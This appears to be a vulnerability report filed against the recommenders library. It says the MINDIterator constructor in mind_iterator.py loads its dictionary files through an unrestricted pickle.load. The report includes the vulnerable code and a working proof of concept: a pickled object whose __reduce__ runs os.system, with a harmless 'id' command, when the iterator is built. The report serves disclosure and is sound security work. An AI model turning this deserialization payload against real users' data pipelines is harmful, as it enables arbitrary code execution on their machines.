[BUG] recommenders newsrec iterator constructor loads pickle dict files that trigger deserialization RCE

Author: ez-lbzCreated Aug 30, 2026Updated Aug 30, 2026
Labelsbug

recommenders newsrec iterator constructor loads pickle dict files that trigger deserialization RCE

Affected Component

  • Component: recommenders (repo recommenders-team/recommenders; both master 0bb4b369 and the current PyPI release are affected); module recommenders/models/newsrec/io/mind_iterator.py (incl. mind_all_iterator.py): the MINDIterator.__init__(hparams, ...) constructor path calls load_dict (:62-67).

Summary

The dict-loading path of MINDIterator exposes no switch or safe option, and no field in hparams can select a safe loader. No matter how the user configures it, all four dict files reach pickle.load through the same load_dict path. The pickle file format itself can carry an executable payload, so a benign dict and a malicious payload are indistinguishable at the byte level. The loading side therefore cannot validate file contents before deserialization fires, and no configuration-level defense has any point at which it could take effect.

Vulnerable Code

# recommenders/models/newsrec/io/mind_iterator.py
def load_dict(self, file_path):
    """Load a pickle file."""
    with open(file_path, "rb") as f:
        return pickle.load(f)                 # :67 *** deserialization sink ***

# Constructor (hparams pass-through chain :54-55):
self.uid2index = self.load_dict(hparams.userDict_file)   # the other three dicts (wordDict_file etc.) follow the same path

Proof of Concept

#!/usr/bin/env python3
# Drive the official entry point MINDIterator(hparams): the constructor itself loads the four dict files (mind_iterator.py:54-55).
import os, pickle
from recommenders.models.newsrec.io.mind_iterator import MINDIterator
from recommenders.models.newsrec.newsrec_utils import prepare_hparams

# 1) The four dict files exchanged between preprocessing and training: three benign, one malicious (any one of them triggers).
class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/PWNED_recommenders',))
for n in ('wordDict', 'vertDict', 'subvertDict'):
    with open(f'/tmp/{n}.pkl', 'wb') as f:
        pickle.dump({}, f)
with open('/tmp/userDict.pkl', 'wb') as f:
    pickle.dump(Exploit(), f)

# 2) Build hparams via the official prepare_hparams: reuse the quickstart YAML (same as tutorials/NAML.ipynb), overriding the dict paths.
hparams = prepare_hparams(
    yaml_file='recommenders/models/newsrec/properties/naml/NAML.yaml',
    wordDict_file='/tmp/wordDict.pkl',
    userDict_file='/tmp/userDict.pkl',       # <- malicious dict
    vertDict_file='/tmp/vertDict.pkl',
    subvertDict_file='/tmp/subvertDict.pkl',
)
iterator = MINDIterator(hparams=hparams)     # :54-55 -> load_dict(:57) -> pickle.load(:67) triggers execution

Source: recommenders-team/recommenders